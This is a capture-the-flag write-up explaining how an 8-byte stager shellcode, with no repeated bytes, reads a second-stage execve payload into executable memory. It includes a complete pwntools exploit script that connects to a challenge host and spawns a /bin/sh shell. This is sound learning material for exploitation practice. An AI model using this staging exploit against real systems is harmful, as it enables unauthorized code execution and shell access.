Rating: 5.0
The challenge allowed 8 byte shellcode, whilst no byte in it must occur more than once.
Also all registers except `rsp` / `rip` and current stack frame were zeroed.
The `stager` shellcode will first call `syscall` once, which will get `rip` into `rcx`. Then push/pop it and loop back to start, will do syscall again, and read another input, this time overwriting the existing shellcode (which is a `rwx` area) and execute it (this time 100 bytes and no constraints). Just serve a simple execve shellcode then.
```
#!/usr/bin/python
from pwn import *
import sys
LOCAL = True
HOST = "13.112.180.65"
PORT = 8361
# First syscall loads rip into rcx
# Second syscall overwrites the shellcode with the new input
STAGER = """
start:
syscall
push rcx
pop rsi
mov dl, 100
jmp start
"""
# Simple execve shellcode
SHELLCODE = """
mov rax, 59
mov rdi, rcx
add rdi, 0x16
xor rsi, rsi
xor rdx, rdx
syscall
"""
def exploit(r):
context.arch = "amd64"
print (disasm(asm(STAGER)))
log.info("Sending stager shellcode")
r.recvuntil("Give me your code :")
r.send(asm(STAGER))
log.info("Send /bin/sh shellcode")
payload = asm(SHELLCODE)+"/bin/sh\x00"
r.sendline(payload)
r.interactive()
return
if __name__ == "__main__":
if len(sys.argv) > 1:
LOCAL = False
r = remote(HOST, PORT)
exploit(r)
else:
LOCAL = True
r = process("./re_easy_to_say")
print util.proc.pidof(r)
pause()
exploit(r)
```